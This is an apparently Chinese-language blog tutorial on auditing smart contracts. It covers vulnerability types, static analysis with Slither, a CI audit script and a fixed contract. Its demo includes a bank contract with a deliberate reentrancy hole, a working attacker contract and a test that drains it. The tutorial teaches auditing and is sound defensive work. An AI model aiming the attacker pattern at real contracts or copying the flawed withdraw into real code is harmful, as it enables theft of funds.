跳转到内容
123xiao | 无名键客

《区块链中智能合约安全审计实战:从常见漏洞识别到自动化检测流程搭建-330》

字数: 0 阅读时长: 1 分钟

区块链中智能合约安全审计实战:从常见漏洞识别到自动化检测流程搭建

智能合约一旦部署,代码通常就“焊死”在链上了。和传统 Web 服务不同,出了问题不能热修复、不能紧急回滚,尤其涉及资产时,一个小漏洞就可能直接变成真金白银的损失。

我自己第一次系统做合约审计时,最大的感受不是“漏洞多难找”,而是容易漏掉系统性问题:单看代码似乎没事,但一旦放到权限、调用链、代币交互、部署配置里一起看,风险就出来了。
这篇文章我会从一个中级开发者实际能落地的角度,带你做一遍:

  • 怎么识别常见智能合约漏洞
  • 怎么写一个可运行的漏洞示例和修复版
  • 怎么把静态分析、单元测试、简单自动化脚本串成一条审计流水线
  • 怎么排查误报、漏报和测试不稳定问题

前置知识

开始前,默认你已经了解这些概念:

  • Solidity 基础语法
  • EVM 调用模型
  • msg.sendermsg.valuecalldelegatecall
  • Hardhat 或 Foundry 其中一种开发工具
  • ERC20 的基本行为

如果你只写过简单合约,也没关系,本文的实战代码尽量控制在能跑、能验证、能看懂的范围内。


背景与问题

智能合约安全审计,不只是“找几个已知漏洞模式”。真正的难点在于:

  1. 攻击面是组合式的

    • 权限控制 + 外部调用 + 状态更新顺序
    • 价格预言机 + 闪电贷 + 精度问题
    • 升级代理 + 存储布局冲突
  2. 漏洞不一定长得像漏洞

    • 没有 reentrancy 字样,不代表不会重入
    • 没有 tx.origin,也可能有权限绕过
    • 没有算术溢出,也可能有精度截断导致资产偏移
  3. 只靠人工容易漏

    • 人工审代码适合发现业务逻辑问题
    • 工具擅长扫模式化问题
    • 真正稳定的流程,一定是“人工 + 自动化 + 测试验证”结合

一个更现实的目标是:
把审计工作拆成可重复执行的步骤,而不是依赖“天才审计员灵感爆发”。


核心原理

1. 审计关注的不只是代码,还包括“状态变化路径”

智能合约的安全,本质上是在检查:

  • 谁可以调用
  • 调用后状态怎么变化
  • 是否依赖外部系统
  • 外部系统能否反向影响当前合约
  • 关键不变量是否始终成立

比如一个提现函数,表面只是“给用户转账”,但真正要审的是:

  • 提现前是否验证余额
  • 状态是在转账前更新还是后更新
  • 使用的是什么调用方式
  • 是否可能被 fallback/receive 重新进入
  • 是否有管理员能绕过正常流程

2. 常见漏洞类型的检查思路

下面是审计里最常见、也最值得优先建立自动化检测的几类问题。

重入攻击

特征:

  • 向外部地址转账或调用
  • 状态更新发生在外部调用之后
  • 没有重入锁或检查-生效-交互模式

权限控制错误

特征:

  • 敏感函数缺少 onlyOwner / AccessControl
  • 使用 tx.origin
  • 升级、铸币、提取资产等函数权限边界不清

整数与精度问题

特征:

  • 价格、份额、利率计算中先除后乘
  • 不同 token 精度混用
  • 四舍五入方向错误,导致可套利

未检查的外部调用返回值

特征:

  • call 返回值未处理
  • ERC20 transfer / transferFrom 假设一定成功
  • 非标准代币行为未兼容

DoS 与 gas 风险

特征:

  • unbounded loop
  • 遍历动态数组执行转账
  • 强依赖某个外部合约执行成功

一张总览图:审计流程怎么走

flowchart TD
    A[需求与资产梳理] --> B[威胁建模]
    B --> C[人工代码审查]
    C --> D[静态分析工具扫描]
    D --> E[单元测试与攻击用例]
    E --> F[修复与回归验证]
    F --> G[CI自动化集成]

这张图的重点是:
不要上来就跑工具。
如果没有业务上下文,工具告诉你“这里可能有风险”,你也很难判断它是真问题还是误报。


环境准备

本文用 Hardhat 做演示,Node.js 版本建议 18+。

初始化项目

mkdir contract-audit-demo
cd contract-audit-demo
npm init -y
npm install --save-dev hardhat @nomicfoundation/hardhat-toolbox
npx hardhat

选择一个基础 JavaScript 项目。

安装静态分析工具

如果你本机有 Python 环境,推荐装 Slither:

pip install slither-analyzer

如果你习惯 Docker,也可以直接用镜像执行。

项目目录建议像这样:

contract-audit-demo/
├── contracts/
   ├── VulnerableBank.sol
   └── Attacker.sol
├── test/
   └── bank.js
├── scripts/
   └── audit.js
├── hardhat.config.js
└── package.json

实战代码(可运行)

我们从一个经典但非常有代表性的漏洞开始:重入攻击

1. 漏洞合约:VulnerableBank.sol

这个合约允许用户存款和取款,但取款流程有问题:
它先给用户转账,再更新余额。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        require(msg.value > 0, "zero value");
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "insufficient balance");

        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");

        balances[msg.sender] -= amount;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

2. 攻击合约:Attacker.sol

攻击逻辑是:
在接收到 ETH 的回调里再次调用 withdraw,趁目标合约还没更新余额时重复提取。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

interface IVulnerableBank {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
    function getBalance() external view returns (uint256);
}

contract Attacker {
    IVulnerableBank public bank;
    address public owner;
    uint256 public attackAmount = 1 ether;

    constructor(address _bank) {
        bank = IVulnerableBank(_bank);
        owner = msg.sender;
    }

    function attack() external payable {
        require(msg.value >= attackAmount, "need more ETH");

        bank.deposit{value: attackAmount}();
        bank.withdraw(attackAmount);
    }

    receive() external payable {
        if (address(bank).balance >= attackAmount) {
            bank.withdraw(attackAmount);
        }
    }

    function collect() external {
        require(msg.sender == owner, "not owner");
        payable(owner).transfer(address(this).balance);
    }
}

3. 测试代码:test/bank.js

这段测试会部署银行合约、注入资金、发起攻击,然后验证目标余额被抽走。

const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("VulnerableBank Reentrancy Demo", function () {
  it("should be drained by attacker", async function () {
    const [deployer, user, attackerEOA] = await ethers.getSigners();

    const Bank = await ethers.getContractFactory("VulnerableBank", deployer);
    const bank = await Bank.deploy();
    await bank.waitForDeployment();

    await bank.connect(user).deposit({ value: ethers.parseEther("5") });

    const Attacker = await ethers.getContractFactory("Attacker", attackerEOA);
    const attacker = await Attacker.deploy(await bank.getAddress());
    await attacker.waitForDeployment();

    await attacker.connect(attackerEOA).attack({ value: ethers.parseEther("1") });

    const bankBalance = await ethers.provider.getBalance(await bank.getAddress());
    const attackerBalance = await ethers.provider.getBalance(await attacker.getAddress());

    expect(bankBalance).to.equal(0n);
    expect(attackerBalance).to.be.greaterThan(ethers.parseEther("1"));
  });
});

4. 运行测试

npx hardhat test

如果一切正常,你会看到测试通过,说明这个漏洞是可利用的,而不是纸面风险。


漏洞修复:不是只加一个锁那么简单

很多人看到重入问题,第一反应是“加个 nonReentrant”。这当然常见,但我更建议先理解根因。

修复原则

  1. 检查-生效-交互

    • 先检查条件
    • 再更新状态
    • 最后做外部调用
  2. 必要时使用重入锁

    • 尤其是在复杂函数中,状态路径多时更稳
  3. 缩小外部调用面

    • 能不把控制权交给外部,就尽量不交

修复版合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract SafeBank {
    mapping(address => uint256) public balances;
    bool private locked;

    modifier nonReentrant() {
        require(!locked, "reentrant call");
        locked = true;
        _;
        locked = false;
    }

    function deposit() external payable {
        require(msg.value > 0, "zero value");
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external nonReentrant {
        require(balances[msg.sender] >= amount, "insufficient balance");

        balances[msg.sender] -= amount;

        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "transfer failed");
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

调用时序图:为什么会重入

sequenceDiagram
    participant U as Attacker
    participant A as AttackerContract
    participant B as VulnerableBank

    U->>A: attack()
    A->>B: deposit(1 ETH)
    A->>B: withdraw(1 ETH)
    B-->>A: call{value:1 ETH}
    A->>B: fallback/receive 再次 withdraw(1 ETH)
    B-->>A: 再次转账
    Note over B: 此时余额还没来得及减少

时序图一眼能看出来,问题不在“转账”本身,而在转账前余额未扣减


自动化检测流程搭建

到这里,我们已经有了:

  • 一个真实漏洞示例
  • 一个攻击用例
  • 一个修复思路

下面开始把它串成日常可执行的审计流程。


第一步:静态分析

使用 Slither 扫描

slither . --print human-summary

或者直接扫描某个文件:

slither contracts/VulnerableBank.sol

Slither 通常会报告类似:

  • reentrancy vulnerabilities
  • low-level calls
  • missing zero-address checks
  • naming/style 提示

注意:
静态分析工具不是法官,它只是线索提供者。

你需要把结果分成三类:

  1. 确认漏洞
  2. 可接受风险
  3. 误报

第二步:最小攻击用例验证

很多团队会停在“工具报了问题”,但真正有价值的是:
能不能写出一个最小可复现实验。

这一步的价值非常大:

  • 能区分真实风险和误报
  • 能帮助开发理解漏洞成因
  • 能作为修复后的回归测试

对于重入、权限绕过、价格操纵,这一步尤其重要。


第三步:脚本化审计入口

我们可以写一个简单 Node.js 脚本,把编译、测试、静态分析串起来。
虽然不复杂,但已经足够成为 CI 的基础版本。

scripts/audit.js

const { execSync } = require("child_process");

function run(cmd, title) {
  console.log(`\n=== ${title} ===`);
  execSync(cmd, { stdio: "inherit" });
}

function main() {
  run("npx hardhat compile", "Compile");
  run("npx hardhat test", "Unit Tests");

  try {
    run("slither contracts/VulnerableBank.sol", "Slither Static Analysis");
  } catch (e) {
    console.error("\nSlither found issues or exited with non-zero status.");
    process.exitCode = 1;
  }
}

main();

运行:

node scripts/audit.js

package.json 增加命令

{
  "scripts": {
    "compile": "hardhat compile",
    "test": "hardhat test",
    "audit": "node scripts/audit.js"
  }
}

之后你只需要:

npm run audit

自动化流程图:从本地到 CI

flowchart LR
    A[开发提交代码] --> B[Hardhat编译]
    B --> C[单元测试]
    C --> D[攻击用例回归]
    D --> E[Slither静态分析]
    E --> F{是否通过}
    F -- 是 --> G[允许合并]
    F -- 否 --> H[修复并重新提交]

这就是一个非常实用的基础版安全门禁流程。
别嫌它简单,很多项目真正缺的就是这条“基础流水线”。


第四步:把审计结论结构化

工具扫描结果和测试结果最终要落到结论上。我建议至少维护下面这个格式:

编号风险类型严重级别位置影响修复建议状态
1重入攻击withdraw()资金可被抽空状态前置更新 + 重入锁已修复
2低级调用call外部调用风险扩大封装统一转账逻辑已确认
3缺少事件deposit/withdraw链上追踪不便增加事件日志待处理

这样做有两个好处:

  • 审计报告不是“散装评论”
  • 后续回归验证有明确对象

常见坑与排查

下面这些问题,在实际做自动化审计时非常常见。我基本都踩过。

1. 工具报了重入,但实际上不可利用

可能原因:

  • 外部调用目标受信任
  • 调用后没有可重复获利路径
  • 关键状态实际上已先更新

排查建议:

  • 写 PoC 测试
  • 检查状态变更顺序
  • 看是否能真正打破不变量

经验建议:没有 PoC 的高危结论,要谨慎下。


2. ERC20 转账看起来没问题,实际兼容性出错

不少开发默认这样写:

token.transfer(to, amount);

问题在于并非所有 ERC20 都严格遵循统一行为。
有的返回 bool,有的直接 revert,还有的行为不标准。

排查建议:

  • 使用成熟库,如 OpenZeppelin 的 SafeERC20
  • 针对主流代币做集成测试
  • 审查跨链桥、包装资产、老旧代币的兼容性

3. 测试通过,但主网环境仍然不安全

原因通常是测试过于理想化:

  • 没模拟恶意合约
  • 没模拟多角色权限冲突
  • 没考虑预言机波动、区块时间、闪电贷

排查建议:

  • 增加攻击者合约
  • 引入 fork test
  • 测试边界值与异常路径

4. 修复了一个漏洞,顺手引入新问题

比如:

  • 为防重入加锁,结果导致某些可重入但安全的流程被错误阻断
  • 把循环拆掉后,出现状态不一致
  • 加权限后,管理员能力过大

排查建议:

  • 每次修复都补一条回归测试
  • 保留旧漏洞复现用例
  • 做一次“修复后的二次审查”

5. 只扫 Solidity,不看部署和配置

这点经常被忽略。合约本身安全,不代表系统安全。

比如:

  • owner 配成错误地址
  • 代理合约 admin 暴露
  • 初始化函数可重复调用
  • 关键参数设置不合理

排查建议:

  • 检查部署脚本
  • 检查初始化流程
  • 检查多签和权限移交步骤

安全/性能最佳实践

这里我把“能长期省事”的建议整理成一份清单。

1. 优先使用成熟安全模式

  • 检查-生效-交互
  • 最小权限原则
  • pull over push 支付模式
  • 显式事件记录关键操作

2. 不要迷信单一工具

推荐组合思路:

  • 人工审查:发现业务逻辑缺陷
  • Slither:扫常见静态模式
  • 单元测试:验证功能
  • 攻击测试:验证可利用性
  • CI:保证每次提交都跑

3. 对关键不变量写测试

例如:

  • 合约总资产 >= 所有用户余额之和
  • 未授权用户无法执行敏感操作
  • 提现后余额精确减少
  • 任意攻击路径不会增发资产

把这些写成测试,长期收益非常高。

4. 避免在链上做大规模遍历

从性能和 DoS 风险上看,这类设计都要谨慎:

  • 遍历所有用户结算奖励
  • 遍历动态数组进行转账
  • 在单笔交易里做复杂批量操作

更好的方式通常是:

  • 分批处理
  • 用户自行领取
  • 使用快照或 Merkle 证明

5. 使用经过验证的库

不要自己手搓所有安全组件,尤其是:

  • AccessControl
  • ReentrancyGuard
  • SafeERC20
  • Upgradeable 合约基类

成熟库不能保证绝对安全,但能明显减少低级错误。

6. 将“高危功能”单独建模

以下功能建议单独审计:

  • 升级
  • 铸币/销毁
  • 提现
  • 清算
  • 预言机读数
  • 跨合约资产桥接

这些地方,不要只看函数本身,要看谁能调、何时调、调完后系统状态是否仍合理


逐步验证清单

如果你要把这套流程带回团队,可以按这个顺序推进:

本地阶段

  • 合约能正常编译
  • 基础功能测试通过
  • 至少 1 个攻击用例可复现
  • 漏洞修复后回归测试通过
  • Slither 扫描结果已分类处理

提交前阶段

  • 敏感函数权限已核对
  • 外部调用返回值已处理
  • 关键状态更新顺序已检查
  • 事件已覆盖重要操作
  • 部署初始化参数已复核

发布前阶段

  • 高危路径已人工复审
  • 关键资产流转已做不变量测试
  • 升级/多签/管理员权限已确认
  • 审计问题单已关闭或记录风险接受理由

一个更完整的审计视角

到这里你会发现,真正可落地的智能合约安全审计,不是“工具一跑出报告”,而是形成下面这套闭环:

stateDiagram-v2
    [*] --> ThreatModel
    ThreatModel --> Review
    Review --> StaticScan
    StaticScan --> ExploitTest
    ExploitTest --> Fix
    Fix --> Regression
    Regression --> CI
    CI --> [*]

这个闭环里,每一环都不应该孤立存在。
比如:

  • 没有威胁建模,人工审查容易失焦
  • 没有攻击测试,静态扫描容易停留在“可能有问题”
  • 没有回归测试,修复很容易反复打破

总结

智能合约审计的核心,不是死记漏洞清单,而是建立一套可复用、可验证、可持续执行的流程:

  1. 先理解业务和资产流
  2. 再定位高风险调用路径
  3. 用静态分析找线索
  4. 用 PoC 和测试验证漏洞是否真实
  5. 修复后做回归
  6. 最后接入 CI,变成团队默认动作

如果你现在就想开始,我建议你从最小版本落地:

  • 选一个已有合约
  • 用 Slither 扫一遍
  • 为一个高风险函数补一条攻击测试
  • compile + test + scan 串成 npm run audit

这一步看起来不大,但它会把“偶尔做安全检查”变成“每次提交都做安全检查”。
对智能合约来说,这种习惯上的改变,往往比多记几个漏洞名字更有价值。


分享到:

上一篇
《Kubernetes 集群架构实战:从控制平面高可用到工作负载弹性扩缩的设计与落地》
下一篇
《Spring Boot 中级实战:基于 Actuator、Micrometer 与 Prometheus 搭建应用监控与告警体系》